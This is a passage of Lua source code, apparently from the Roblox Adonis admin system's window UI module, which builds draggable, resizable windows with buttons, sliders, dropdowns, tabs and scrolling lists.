runWhenDone = functionify(data, Obj)
end
end
if runWhenDone then
runWhenDone(Obj)
end
end
end
function BringToFront()
for i,v in ipairs(Player.PlayerGui:GetChildren()) do
if v:FindFirstChild("__ADONIS_WINDOW") then
v.DisplayOrder = 100
end
end
GUI.DisplayOrder = 101
end
function addTitleButton(data)
local startPos = 1
local realPos
local new
local original = Hide
if Hide.Visible then
startPos = startPos+1
end
if Close.Visible then
startPos = startPos+1
end
if Refresh.Visible then
startPos = startPos+1
end
realPos = UDim2.new(1, -(((30*startPos)+5)+(startPos-1)), 0, 0)
data.Position = data.Position or realPos
data.Size = data.Size or original.Size
data.BackgroundColor3 = data.BackgroundColor3 or original.BackgroundColor3
data.BackgroundTransparency = data.BackgroundTransparency or original.BackgroundTransparency
data.BorderSizePixel = data.BorderSizePixel or original.BorderSizePixel
data.ZIndex = data.ZIndex or original.ZIndex
data.TextColor3 = data.TextColor3 or original.TextColor3
data.TextScaled = data.TextScaled or original.TextScaled
data.TextStrokeColor3 = data.TextStrokeColor3 or original.TextStrokeColor3
data.TextSize = data.TextSize or original.TextSize
data.TextTransparency = data.TextTransparency or original.TextTransparency
data.TextStrokeTransparency = data.TextStrokeTransparency or original.TextStrokeTransparency
data.TextScaled = data.TextScaled or original.TextScaled
data.TextWrapped = data.TextWrapped or original.TextWrapped
--data.TextXAlignment = data.TextXAlignment or original.TextXAlignment
--data.TextYAlignment = data.TextYAlignment or original.TextYAlignment
data.Font = data.Font or original.Font
data.Parent = Drag
return create("TextButton", data)
end
function functionify(func, object)
if type(func) == "string" then
if object then
local env = GetEnv()
env.Object = object
return client.Core.LoadCode(func, env)
else
return client.Core.LoadCode(func)
end
else
return func
end
end
function create(class, dataFound, existing)
local data = dataFound or {}
local class = data.Class or data.ClassName or class
local new = existing or (specialInsts[class] and specialInsts[class]:Clone()) or service.New(class)
local parent = data.Parent or new.Parent
if dataFound then
data.Parent = nil
if data.Class or data.ClassName then
data.Class = nil
data.ClassName = nil
end
if not data.BorderColor3 and checkProperty(new,"BorderColor3") then
new.BorderColor3 = dBorder
end
if not data.CanvasSize and checkProperty(new,"CanvasSize") then
new.CanvasSize = dCanvasSize
end
if not data.BorderSizePixel and checkProperty(new,"BorderSizePixel") then
new.BorderSizePixel = dPixelSize
end
if not data.BackgroundColor3 and checkProperty(new,"BackgroundColor3") then
new.BackgroundColor3 = dBackground
end
if not data.PlaceholderColor3 and checkProperty(new,"PlaceholderColor3") then
new.PlaceholderColor3 = dPlaceholderColor
end
if not data.Transparency and not data.BackgroundTransparency and checkProperty(new,"Transparency") then
new.BackgroundTransparency = dTransparency
elseif data.Transparency then
new.BackgroundTransparency = data.Transparency
end
if not data.TextColor3 and not data.TextColor and checkProperty(new,"TextColor3") then
new.TextColor3 = dTextColor
elseif data.TextColor then
new.TextColor3 = data.TextColor
end
if not data.Font and checkProperty(new, "Font") then
data.Font = dFont
end
if not data.TextSize and checkProperty(new, "TextSize") then
data.TextSize = dTextSize
end
if not data.BottomImage and not data.MidImage and not data.TopImage and class == "ScrollingFrame" then
new.BottomImage = dScrollImage
new.MidImage = dScrollImage
new.TopImage = dScrollImage
end
if not data.Size and checkProperty(new,"Size") then
new.Size = dSize
end
if not data.Position and checkProperty(new,"Position") then
new.Position = dPosition
end
if not data.ZIndex and checkProperty(new,"ZIndex") then
new.ZIndex = dZIndex
if parent and checkProperty(parent, "ZIndex") then
new.ZIndex = parent.ZIndex
end
end
if data.TextChanged and class == "TextBox" then
local textChanged = functionify(data.TextChanged, new)
new.FocusLost:Connect(function(enterPressed)
textChanged(new.Text, enterPressed, new)
end)
end
if (data.OnClicked or data.OnClick) and (class == "TextButton" or class == "ImageButton") then
local debounce = false;
local doDebounce = data.Debounce;
local onClick = functionify((data.OnClicked or data.OnClick), new)
new.MouseButton1Down:Connect(function()
if not debounce then
if doDebounce then
debounce = true
end
onClick(new);
debounce = false;
end
end)
end
if data.Events then
for event,func in pairs(data.Events) do
local realFunc = functionify(func, new)
Event(new[event], function(...)
realFunc(...)
end)
end
end
if data.Visible == nil then
data.Visible = true
end
if data.LabelProps then
data.LabelProperties = data.LabelProps
end
end
if class == "Entry" then
local label = new.Text
local dots = new.Dots
local desc = new.Desc
label.ZIndex = data.ZIndex or new.ZIndex
dots.ZIndex = data.ZIndex or new.ZIndex
if data.Text then
new.Text.Text = data.Text
new.Text.Visible = true
data.Text = nil
end
if data.Desc or data.ToolTip then
new.Desc.Value = data.Desc or data.ToolTip
data.Desc = nil
end
Expand(new, Tooltip)
else
if data.ToolTip then
Expand(new, Tooltip, data.ToolTip)
end
end
if class == "ButtonEntry" then
local button = new.Button
local debounce = false
local onClicked = functionify(data.OnClicked, button)
new:SetSpecial("DoClick",function()
if not debounce then
debounce = true
if onClicked then
onClicked(button)
end
debounce = false
end
end)
new.Text = data.Text or new.Text
button.ZIndex = data.ZIndex or new.ZIndex
button.MouseButton1Down:Connect(new.DoClick)
end
if class == "Boolean" then
local enabled = data.Enabled
local debounce = false
local onToggle = functionify(data.OnToggle, new)
local function toggle(isEnabled)
if not debounce then
debounce = true
if (isEnabled ~= nil and isEnabled) or (isEnabled == nil and enabled) then
enabled = false
new.Text = "Disabled"
elseif (isEnabled ~= nil and isEnabled == false) or (isEnabled == nil and not enabled) then
enabled = true
new.Text = "Enabled"
end
if onToggle then
onToggle(enabled, new)
end
debounce = false
end
end
--new.ZIndex = data.ZIndex
new.Text = (enabled and "Enabled") or "Disabled"
new.MouseButton1Down:Connect(function()
if onToggle then
toggle()
end
end)
new:SetSpecial("Toggle",function(ignore, isEnabled) toggle(isEnabled) end)
end
if class == "StringEntry" then
local box = new.Box
local ignore
new.Text = data.Text or new.Text
box.ZIndex = data.ZIndex or new.ZIndex
if data.BoxText then
box.Text = data.BoxText
end
if data.BoxProperties then
for i,v in next,data.BoxProperties do
if checkProperty(box, i) then
box[i] = v
end
end
end
if data.TextChanged then
local textChanged = functionify(data.TextChanged, box)
box.Changed:Connect(function(p)
if p == "Text" and not ignore then
textChanged(box.Text)
end
end)
box.FocusLost:Connect(function(enter)
local change = textChanged(box.Text, true, enter)
if change then
ignore = true
box.Text = change
ignore = false
end
end)
end
new:SetSpecial("SetValue",function(ignore, newValue) box.Text = newValue end)
end
if class == "Slider" then
local mouseIsIn = false
local posValue = new.Percentage
local slider = new.Slider
local bar = new.SliderBar
local drag = new.Drag
local moving = false
local value = 0
local onSlide = functionify(data.OnSlide, new)
bar.ZIndex = data.ZIndex or new.ZIndex
slider.ZIndex = bar.ZIndex+1
drag.ZIndex = slider.ZIndex+1
drag.Active = true
if data.Value then
slider.Position = UDim2.new(0.5, -10, 0.5, -10)
drag.Position = slider.Position
end
bar.InputBegan:Connect(function(input)
if not moving and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
value = ((input.Position.X) - (new.AbsolutePosition.X)) / (new.AbsoluteSize.X)
if value < 0 then
value = 0
elseif value > 1 then
value = 1
end
slider.Position = UDim2.new(value, -10, 0.5, -10)
drag.Position = slider.Position
posValue.Value = value
if onSlide then
onSlide(value)
end
end
end)
drag.DragBegin:Connect(function()
moving = true
end)
drag.DragStopped:Connect(function()
moving = false
drag.Position = slider.Position
end)
drag.Changed:Connect(function()
if moving then
value = ((Mouse.X)-(new.AbsolutePosition.X))/(new.AbsoluteSize.X)
if value < 0 then
value = 0
elseif value > 1 then
value = 1
end
slider.Position = UDim2.new(value, -10, 0.5, -10)
posValue.Value = value
if onSlide then
onSlide(value)
end
end
end)
new:SetSpecial("SetValue",function(ignore, newValue)
if newValue and tonumber(newValue) then
value = tonumber(newValue)
posValue.Value = value
slider.Position = UDim2.new(value, -10, 0.5, -10)
drag.Position = slider.Position
end
end)
end
if class == "Dropdown" then
local menu = new.Menu
local downImg = new.Down
local selected = new.dSelected
local options = data.Options
local curSelected = data.Selected or data.Selection
local onSelect = functionify(data.OnSelection or data.OnSelect or function()end)
local textProps = data.TextProperties
local scroller = create("ScrollingFrame", {
Parent = menu;
Size = UDim2.new(1, 0, 1, 0);
Position = UDim2.new(0, 0, 0, 0);
BackgroundTransparency = 1;
ZIndex = 100;
})
menu.ZIndex = scroller.ZIndex
menu.Parent = GUI
menu.Visible = false
menu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 100);
menu.BackgroundColor3 = data.BackgroundColor3 or new.BackgroundColor3
if data.TextAlignment then
selected.TextXAlignment = data.TextAlignment
selected.Position = UDim2.new(0, 30, 0, 0);
end
if data.NoArrow then
downImg.Visible = false
end
new:SetSpecial("MenuContainer", menu)
new.Changed:Connect(function(p)
if p == "AbsolutePosition" and menu.Visible then
menu.Position = UDim2.new(0, new.AbsolutePosition.X, 0, new.AbsolutePosition.Y+new.AbsoluteSize.Y)
elseif p == "AbsoluteSize" or p == "Parent" then
downImg.Size = UDim2.new(0, new.AbsoluteSize.Y, 1, 0);
if data.TextAlignment == "Right" then
downImg.Position = UDim2.new(0, 0, 0.5, -(downImg.AbsoluteSize.X/2))
selected.Position = UDim2.new(0, new.AbsoluteSize.Y, 0, 0);
else
downImg.Position = UDim2.new(1, -downImg.AbsoluteSize.X, 0.5, -(downImg.AbsoluteSize.X/2))
end
selected.Size = UDim2.new(1, -downImg.AbsoluteSize.X, 1, 0);
if options and #options <= 6 then
menu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 30*#options);
else
menu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 30*6);
scroller:ResizeCanvas(false, true);
end
end
end)
selected.ZIndex = new.ZIndex
downImg.ZIndex = new.ZIndex
if textProps then
for i,v in next,textProps do
selected[i] = v
end
end
if options then
for i,v in next,options do
local button = scroller:Add("TextButton", {
Text = " ".. tostring(v);
Size = UDim2.new(1, -10, 0, 30);
Position = UDim2.new(0, 5, 0, 30*(i-1));
ZIndex = menu.ZIndex;
BackgroundTransparency = 1;
OnClick = function()
selected.Text = v;
onSelect(v, new);
menu.Visible = false
end
})
if textProps then
for i,v in next,textProps do
button[i] = v
end
end
end
if curSelected then
selected.Text = curSelected
else
selected.Text = "No Selection"
end
selected.MouseButton1Down:Connect(function()
menu.Position = UDim2.new(0, new.AbsolutePosition.X, 0, new.AbsolutePosition.Y+new.AbsoluteSize.Y)
menu.Visible = not menu.Visible
end)
end
end
if class == "TabFrame" then
local buttons = create("ScrollingFrame", nil, new.Buttons)
local frames = new.Frames
local numTabs = 0
local buttonSize = data.ButtonSize or 60
new.BackgroundTransparency = data.BackgroundTransparency or 1
buttons.ZIndex = data.ZIndex or new.ZIndex
frames.ZIndex = buttons.ZIndex
new:SetSpecial("GetTab", function(ignore, name)
return frames:FindFirstChild(name)
end)
new:SetSpecial("NewTab", function(ignore, name, data)
local data = data or {}
--local numChildren = #frames:GetChildren()
local nextPos = getNextPos(buttons);
local textSize = service.TextService:GetTextSize(data.Text or name, dTextSize, dFont, buttons.AbsoluteSize)
local oTextTrans = data.TextTransparency
local isOpen = false
local disabled = false
local tabFrame = create("ScrollingFrame",{
Name = name;
Size = UDim2.new(1, 0, 1, 0);
Position = UDim2.new(0, 0, 0, 0);
BorderSizePixel = 0;
BackgroundTransparency = data.FrameTransparency or data.Transparency;
BackgroundColor3 = data.Color or dBackground:lerp(Color3.new(1,1,1), 0.2);
ZIndex = buttons.ZIndex;
Visible = false;
})
local tabButton = create("TextButton",{
Name = name;
Text = data.Text or name;
Size = UDim2.new(0, textSize.X+20, 1, 0);
ZIndex = buttons.ZIndex;
Position = UDim2.new(0, (nextPos.X.Offset > 0 and nextPos.X.Offset+5) or 0, 0, 0);
TextColor3 = data.TextColor;
BackgroundTransparency = 0.7;
TextTransparency = data.TextTransparency;
BackgroundColor3 = data.Color or dBackground:lerp(Color3.new(1,1,1), 0.2);
BorderSizePixel = 0;
})
tabFrame:SetSpecial("FocusTab",function()
for i,v in next,buttons:GetChildren() do if isGui(v) then v.BackgroundTransparency = 0.7 v.TextTransparency = 0.7 end end
for i,v in next,frames:GetChildren() do if isGui(v) then v.Visible = false end end
tabButton.BackgroundTransparency = data.Transparency or 0
tabButton.TextTransparency = data.TextTransparency or 0
tabFrame.Visible = true
if data.OnFocus then
data.OnFocus(true)
end
end)
if numTabs == 0 then
tabFrame.Visible = true
tabButton.BackgroundTransparency = data.Transparency or 0
end
tabButton.MouseButton1Down:Connect(function()
if not disabled then
tabFrame:FocusTab()
end
end)
tabButton.Parent = buttons
tabFrame.Parent = frames
buttons:ResizeCanvas(true, false)
tabFrame:SetSpecial("Disable", function()
disabled = true;
tabButton.BackgroundTransparency = 0.9;
tabButton.TextTransparency = 0.9
end)
tabFrame:SetSpecial("Enable", function()
disabled = false;
tabButton.BackgroundTransparency = 0.7;
tabButton.TextTransparency = data.TextTransparency or 0;
end)
numTabs = numTabs+1;
return tabFrame,tabButton
end)
end
if class == "ScrollingFrame" then
local genning = false
if not data.ScrollBarThickness then
data.ScrollBarThickness = dScrollBar
end
new:SetSpecial("GenerateList", function(obj, list, labelProperties, bottom)
local list = list or obj;
local genHold = {}
local entProps = labelProperties or {}
genning = genHold
new:ClearAllChildren()
local num = 0
for i,v in next,list do
local text = v;
local desc;
local color
local richText;
if type(v) == "table" then
text = v.Text
desc = v.Desc
color = v.Color
if v.RichTextAllowed or entProps.RichTextAllowed then
richText = true
end
end
local label = create("TextLabel",{
Text = " "..tostring(text);
ToolTip = desc;
Size = UDim2.new(1,-5,0,(entProps.ySize or 20));
Visible = true;
BackgroundTransparency = 1;
Font = "Arial";
TextSize = 14;
TextStrokeTransparency = 0.8;
TextXAlignment = "Left";
Position = UDim2.new(0,0,0,num*(entProps.ySize or 20));
RichText = richText or false;
})
if color then
label.TextColor3 = color
end
if labelProperties then
for i,v in next,entProps do
if checkProperty(label, i) then
label[i] = v
end
end
end
if genning == genHold then
label.Parent = new;
else
label:Destroy()
break
end
num = num+1
if data.Delay then
if type(data.Delay) == "number" then
wait(data.Delay)
elseif i%100 == 0 then
wait(0.1)
end
end
end
new:ResizeCanvas(false, true, false, bottom, 5, 5, 50)
genning = nil
end)
new:SetSpecial("ResizeCanvas", function(ignore, onX, onY, xMax, yMax, xPadding, yPadding, modBreak)
local xPadding,yPadding = data.xPadding or 5, data.yPadding or 5
local newY, newX = 0,0
if not onX and not onY then onX = false onY = true end
for i,v in next,new:GetChildren() do
if v:IsA("GuiObject") then
if onY then
v.Size = UDim2.new(v.Size.X.Scale, v.Size.X.Offset, 0, v.AbsoluteSize.Y)
v.Position = UDim2.new(v.Position.X.Scale, v.Position.X.Offset, 0, v.AbsolutePosition.Y-new.AbsolutePosition.Y)
end
if onX then
v.Size = UDim2.new(0, v.AbsoluteSize.X, v.Size.Y.Scale, v.Size.Y.Offset)
v.Position = UDim2.new(0, v.AbsolutePosition.X-new.AbsolutePosition.X, v.Position.Y.Scale, v.Position.Y.Offset)
end
local yLower = v.Position.Y.Offset + v.Size.Y.Offset
local xLower = v.Position.X.Offset + v.Size.X.Offset
newY = math.max(newY, yLower)
newX = math.max(newX, xLower)
if modBreak then
if i%modBreak == 0 then
wait(1/60)
end
end
end
end
if onY then
new.CanvasSize = UDim2.new(new.CanvasSize.X.Scale, new.CanvasSize.X.Offset, 0, newY+yPadding)
end
if onX then
new.CanvasSize = UDim2.new(0, newX + xPadding, new.CanvasSize.Y.Scale, new.CanvasSize.Y.Offset)
end
if xMax then
new.CanvasPosition = Vector2.new((newX + xPadding)-new.AbsoluteSize.X, new.CanvasPosition.Y)
end
if yMax then
new.CanvasPosition = Vector2.new(new.CanvasPosition.X, (newY+yPadding)-new.AbsoluteSize.Y)
end
end)
if data.List then new:GenerateList(data.List) data.List = nil end
end
LoadChildren(new, data.Content or data.Children)
data.Children = nil
data.Content = nil
for i,v in next,data do
if checkProperty(new, i) then
new[i] = v
end
end
new.Parent = parent
return apiIfy(new, data, class),data
end
function apiIfy(gui, data, class)
local newGui = service.Wrap(gui)
gui:SetSpecial("Object", gui)
gui:SetSpecial("SetPosition", function(ignore, newPos) gui.Position = newPos end)
gui:SetSpecial("SetSize", function(ingore, newSize) gui.Size = newSize end)
gui:SetSpecial("Add", function(ignore, class, data)
if not data then data = class class = ignore end
local new = create(class,data);
new.Parent = gui;
return apiIfy(new, data, class)
end)
gui:SetSpecial("Copy", function(ignore, class, gotData)
local newData = {}
local new
for i,v in next,data do
newData[i] = v
end
for i,v in next,gotData do
newData[i] = v
end
new = create(class or data.Class or gui.ClassName, newData);
new.Parent = gotData.Parent or gui.Parent;
return apiIfy(new, data, class)
end)
return newGui
end
function doClose()
if not isClosed then
isClosed = true
print(onClose)
if onClose then onClose() end
gTable:Destroy()
end
end
function isVisible()
return Main.Visible
end
local hideLabel = Hide:FindFirstChild("TextLabel")
function doHide(doHide)
local origLH = Hide.LineHeight
if doHide or (doHide == nil and Main.Visible) then
dragSize = Drag.Size
Main.Visible = false
Drag.BackgroundTransparency = Main.BackgroundTransparency
Drag.BackgroundColor3 = Main.BackgroundColor3
Drag.Size = UDim2.new(0, 200, Drag.Size.Y.Scale, Drag.Size.Y.Offset)
if hideLabel then
hideLabel.Text = "+"
else
Hide.Text = "+"
end
Hide.LineHeight = origLH
gTable.Minimized = true
elseif doHide == false or (doHide == nil and not Main.Visible) then
Main.Visible = true
Drag.BackgroundTransparency = 1
Drag.Size = dragSize or Drag.Size
if hideLabel then
hideLabel.Text = "-"
else
Hide.Text = "-"
end
Hide.LineHeight = origLH
gTable.Minimized = false
end
if onMinimize then
onMinimize(Main.Visible)
end
if Walls then
wallPosition()
end
end
function isInFrame(x, y, frame)
if x > frame.AbsolutePosition.X and x < (frame.AbsolutePosition.X+frame.AbsoluteSize.X) and y > frame.AbsolutePosition.Y and y < (frame.AbsolutePosition.Y+frame.AbsoluteSize.Y) then
return true
else
return false
end
end
function wallPosition()
if gTable.Active then
local x,y = Drag.AbsolutePosition.X, Drag.AbsolutePosition.Y
local abx, gx, gy = Drag.AbsoluteSize.X, GUI.AbsoluteSize.X, GUI.AbsoluteSize.Y
local ySize = (Main.Visible and Main.AbsoluteSize.Y) or Drag.AbsoluteSize.Y
if x < 0 then
Drag.Position = UDim2.new(0, 0, Drag.Position.Y.Scale, Drag.Position.Y.Offset)
end
if y < 0 then
Drag.Position = UDim2.new(Drag.Position.X.Scale, Drag.Position.X.Offset, 0, 0)
end
if x + abx > gx then
Drag.Position = UDim2.new(0, GUI.AbsoluteSize.X - Drag.AbsoluteSize.X, Drag.Position.Y.Scale, Drag.Position.Y.Offset)
end
if y + ySize > gy then
Drag.Position = UDim2.new(Drag.Position.X.Scale, Drag.Position.X.Offset, 0, GUI.AbsoluteSize.Y - ySize)
end
end
end
function setSize(newSize)
if newSize and type(newSize) == "table" then
if newSize[1] < 50 then newSize[1] = 50 end
if newSize[2] < 50 then newSize[2] = 50 end
Drag.Size = UDim2.new(0,newSize[1],Drag.Size.Y.Scale,Drag.Size.Y.Offset)
Main.Size = UDim2.new(1,0,0,newSize[2])
end
end
function setPosition(newPos)
if newPos and typeof(newPos) == "UDim2" then
Drag.Position = newPos
elseif newPos and type(newPos) == "table" then
Drag.Position = UDim2.new(0, newPos[1], 0, newPos[2])
elseif Size and not newPos then
Drag.Position = UDim2.new(0.5, -Drag.AbsoluteSize.X/2, 0.5, -Main.AbsoluteSize.Y/2)
end
end
if Name then
gTable.Name = Name
if data.AllowMultiple ~= nil and data.AllowMultiple == false then
local found, num = client.UI.Get(Name, GUI, true)
if found then
doClose()
return nil
end
end
end
if Size then
setSize(Size)
end
if Position then
setPosition(Position)
end
if Title then
Titlef.Text = Title
end
if CanKeepAlive or not ResetOnSpawn then
gTable.CanKeepAlive = true
GUI.ResetOnSpawn = false
elseif ResetOnSpawn then
gTable.CanKeepAlive = false
GUI.ResetOnSpawn = true
end
if Icon then
Iconf.Visible = true
Iconf.Image = Icon
end
if CanvasSize then
ScrollFrame.CanvasSize = CanvasSize
end
if noClose then
Close.Visible = false
Refresh.Position = Hide.Position
Hide.Position = Close.Position
end
if noHide then
Hide.Visible = false
Refresh.Position = Hide.Position
end
if Walls then
Drag.DragStopped:Connect(function()
wallPosition()
end)
end
if onRefresh then
local debounce = false
function DoRefresh()
if not Refreshing then
local done = false
Refreshing = true
spawn(function()
while gTable.Active and not done do
for i = 0,180,10 do
rSpinner.Rotation = -i
wait(1/60)
end
end
end)
onRefresh()
wait(1)
done = true
Refreshing = false
end
end
Refresh.MouseButton1Down:Connect(function()
if not debounce then
debounce = true
DoRefresh()
debounce = false
end
end)
Titlef.Size = UDim2.new(1, -130, Titlef.Size.Y.Scale, Titlef.Size.Y.Offset)
else
Refresh.Visible = false
end
if iconClicked then
Iconf.MouseButton1Down(function()
iconClicked(data, GUI, Iconf)
end)
end
if Menu then
data.Menu.Text = ""
data.Menu.Parent = Main
data.Menu.Size = UDim2.new(1,-10,0,25)
data.Menu.Position = UDim2.new(0,5,0,25)
ScrollFrame.Size = UDim2.new(1,-10,1,-55)
ScrollFrame.Position = UDim2.new(0,5,0,50)
data.Menu.BackgroundColor3 = Color3.fromRGB(216, 216, 216)
data.Menu.BorderSizePixel = 0
create("TextLabel",data.Menu)
end
if not SizeLocked then
local startXPos = Drag.AbsolutePosition.X
local startYPos = Drag.AbsolutePosition.Y
local startXSize = Drag.AbsoluteSize.X
local startYSize = Drag.AbsoluteSize.Y
local vars = client.Variables
local newIcon
local inFrame
local ReallyInFrame
local function readify(obj)
obj.MouseEnter:Connect(function()
ReallyInFrame = obj
end)
obj.MouseLeave:Connect(function()
if ReallyInFrame == obj then
ReallyInFrame = nil
end
end)
end
--[[
readify(Drag)
readify(ScrollFrame)
readify(TopRight)
readify(TopLeft)
readify(RightCorner)
readify(LeftCorner)
readify(RightSide)
readify(LeftSide)
readify(Bottom)
readify(Top)
--]]
function checkMouse(x, y) --// Update later to remove frame by frame pos checking
if gTable.Active and Main.Visible then
if isInFrame(x, y, Drag) or isInFrame(x, y, ScrollFrame) then
inFrame = nil
newIcon = nil
elseif isInFrame(x, y, TopRight) then
inFrame = "TopRight"
newIcon = MouseIcons.TopRight
elseif isInFrame(x, y, TopLeft) then
inFrame = "TopLeft"
newIcon = MouseIcons.TopLeft
elseif isInFrame(x, y, RightCorner) then
inFrame = "RightCorner"
newIcon = MouseIcons.RightCorner
elseif isInFrame(x, y, LeftCorner) then
inFrame = "LeftCorner"
newIcon = MouseIcons.LeftCorner
elseif isInFrame(x, y, RightSide) then
inFrame = "RightSide"
newIcon = MouseIcons.Horizontal
elseif isInFrame(x, y, LeftSide) then
inFrame = "LeftSide"
newIcon = MouseIcons.Horizontal
elseif isInFrame(x, y, Bottom) then
inFrame = "Bottom"
newIcon = MouseIcons.Vertical
elseif isInFrame(x, y, Top) then
inFrame = "Top"
newIcon = MouseIcons.Vertical
else
inFrame = nil
newIcon = nil
end
else
inFrame = nil
end
if (not client.Variables.MouseLockedBy) or client.Variables.MouseLockedBy == gTable then
if inFrame and newIcon then
Mouse.Icon = newIcon
client.Variables.MouseLockedBy = gTable
elseif client.Variables.MouseLockedBy == gTable then
Mouse.Icon = curIcon
client.Variables.MouseLockedBy = nil
end
end
end
local function inputStart(x, y)
checkMouse(x, y)
if gTable.Active and inFrame and not Resizing and not isInFrame(x, y, ScrollFrame) and not isInFrame(x, y, Drag) then
Resizing = inFrame
startXPos = Drag.AbsolutePosition.X
startYPos = Drag.AbsolutePosition.Y
startXSize = Drag.AbsoluteSize.X
startYSize = Main.AbsoluteSize.Y
end
end
local function inputEnd()
if gTable.Active then
if Resizing and onResize then
onResize(UDim2.new(Drag.Size.X.Scale, Drag.Size.X.Offset, Main.Size.Y.Scale, Main.Size.Y.Offset))
end
Resizing = nil
Mouse.Icon = curIcon
--DragEnabled = true
--if Walls then
-- wallPosition()
--end
end
end
local function inputMoved(x, y)
if gTable.Active then
if Mouse.Icon ~= MouseIcons.TopRight and Mouse.Icon ~= MouseIcons.TopLeft and Mouse.Icon ~= MouseIcons.RightCorner and Mouse.Icon ~= MouseIcons.LeftCorner and Mouse.Icon ~= MouseIcons.Horizontal and Mouse.Icon ~= MouseIcons.Vertical then
curIcon = Mouse.Icon
end
if Resizing then
local moveX = false
local moveY = false
local newPos = Drag.Position
local xPos, yPos = x, y
local newX, newY = startXSize, startYSize
--DragEnabled = false
if Resizing == "TopRight" then
newX = (xPos - startXPos) + 3
newY = (startYPos - yPos) + startYSize -1
moveY = true
elseif Resizing == "TopLeft" then
newX = (startXPos - xPos) + startXSize -1
newY = (startYPos - yPos) + startYSize -1
moveY = true
moveX = true
elseif Resizing == "RightCorner" then
newX = (xPos - startXPos) + 3
newY = (yPos - startYPos) + 3
elseif Resizing == "LeftCorner" then
newX = (startXPos - xPos) + startXSize + 3
newY = (yPos - startYPos) + 3
moveX = true
elseif Resizing == "LeftSide" then
newX = (startXPos - xPos) + startXSize + 3
newY = startYSize
moveX = true
elseif Resizing == "RightSide" then
newX = (xPos - startXPos) + 3
newY = startYSize
elseif Resizing == "Bottom" then
newX = startXSize
newY = (yPos - startYPos) + 3
elseif Resizing == "Top" then
newX = startXSize
newY = (startYPos - yPos) + startYSize - 1
moveY = true
end
if newX < MinSize[1] then newX = MinSize[1] end
if newY < MinSize[2] then newY = MinSize[2] end
if newX > MaxSize[1] then newX = MaxSize[1] end
if newY > MaxSize[2] then newY = MaxSize[2] end
if moveX then
newPos = UDim2.new(0, (startXPos+startXSize)-newX, newPos.Y.Scale, newPos.Y.Offset)
end
if moveY then
newPos = UDim2.new(newPos.X.Scale, newPos.X.Offset, 0, (startYPos+startYSize)-newY)
end
Drag.Position = newPos
Drag.Size = UDim2.new(0, newX, Drag.Size.Y.Scale, Drag.Size.Y.Offset)
Main.Size = UDim2.new(Main.Size.X.Scale, Main.Size.X.Offset, 0, newY)
if not Titlef.TextFits then
Titlef.Visible = false
else
Titlef.Visible = true
end
else
checkMouse(x, y)
end
end
end
Event(InputService.InputBegan, function(input, gameHandled)
if not gameHandled and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
local Position = input.Position
inputStart(Position.X, Position.Y)
end
end)
Event(InputService.InputChanged, function(input, gameHandled)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
local Position = input.Position
inputMoved(Position.X, Position.Y)
end
end)
Event(InputService.InputEnded, function(input, gameHandled)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
inputEnd()
end
end)
--[[Event(Mouse.Button1Down, function()
if gTable.Active and inFrame and not Resizing and not isInFrame(Mouse.X, Mouse.Y, ScrollFrame) and not isInFrame(Mouse.X, Mouse.Y, Drag) then
Resizing = inFrame
startXPos = Drag.AbsolutePosition.X
startYPos = Drag.AbsolutePosition.Y
startXSize = Drag.AbsoluteSize.X
startYSize = Main.AbsoluteSize.Y
checkMouse()
end
end)
Event(Mouse.Button1Up, function()
if gTable.Active then
if Resizing and onResize then
onResize(UDim2.new(Drag.Size.X.Scale, Drag.Size.X.Offset, Main.Size.Y.Scale, Main.Size.Y.Offset))
end
Resizing = nil
Mouse.Icon = curIcon
--if Walls then
-- wallPosition()
--end
end
end)--]]
else
LeftSizeIcon.Visible = false
RightSizeIcon.Visible = false
end
Close.MouseButton1Down:Connect(doClose)
Hide.MouseButton1Down:Connect(function() doHide() end)
gTable.CustomDestroy = function()
service.UnWrap(GUI):Destroy()
if client.Variables.MouseLockedBy == gTable then
Mouse.Icon = curIcon
client.Variables.MouseLockedBy = nil
end
if not isClosed then
isClosed = true
if onClose then
onClose()
end
end
end
for i,child in next,GUI:GetChildren() do
if child.Name ~= "Desc" and child.Name ~= "Drag" then
specialInsts[child.Name] = child
child.Parent = nil
end
end
--// Drag & DisplayOrder Handler
do
local windowValue = Instance.new("BoolValue", GUI)
local dragDragging = false
local dragOffset
local inFrame
windowValue.Name = "__ADONIS_WINDOW"
Event(Main.InputBegan, function(input)
if gTable.Active and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
BringToFront()
end
end)
Event(Drag.InputBegan, function(input)
if gTable.Active then
inFrame = true
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
BringToFront()
end
end
end)
Event(Drag.InputChanged, function(input)
if gTable.Active then
inFrame = true
end
end)
Event(Drag.InputEnded, function(input)
inFrame = false
end)
Event(InputService.InputBegan, function(input)
if inFrame and GUI.DisplayOrder == 101 and not dragDragging and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then--isInFrame(input.Position.X, input.Position.Y, object) then
dragDragging = true
BringToFront()
dragOffset = Vector2.new(Drag.AbsolutePosition.X - input.Position.X, Drag.AbsolutePosition.Y - input.Position.Y)
end
end)
Event(InputService.InputChanged, function(input)
if dragDragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then
Drag.Position = UDim2.new(0, dragOffset.X + input.Position.X, 0, dragOffset.Y + input.Position.Y)
end
end)
Event(InputService.InputEnded, function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragDragging = false
end
end)
end
--// Finishing up
local api = apiIfy(ScrollFrame, data)
local meta = api:GetMetatable()
local oldNewIndex = meta.__newindex
local oldIndex = meta.__index
create("ScrollingFrame", nil, ScrollFrame)
LoadChildren(api, Content)
api:SetSpecial("gTable", gTable)
api:SetSpecial("Window", GUI)
api:SetSpecial("Main", Main)
api:SetSpecial("Title", Titlef)
api:SetSpecial("Dragger", Drag)
api:SetSpecial("Destroy", doClose)
api:SetSpecial("Close", doClose)
api:SetSpecial("Object", ScrollFrame)
api:SetSpecial("Refresh", DoRefresh)
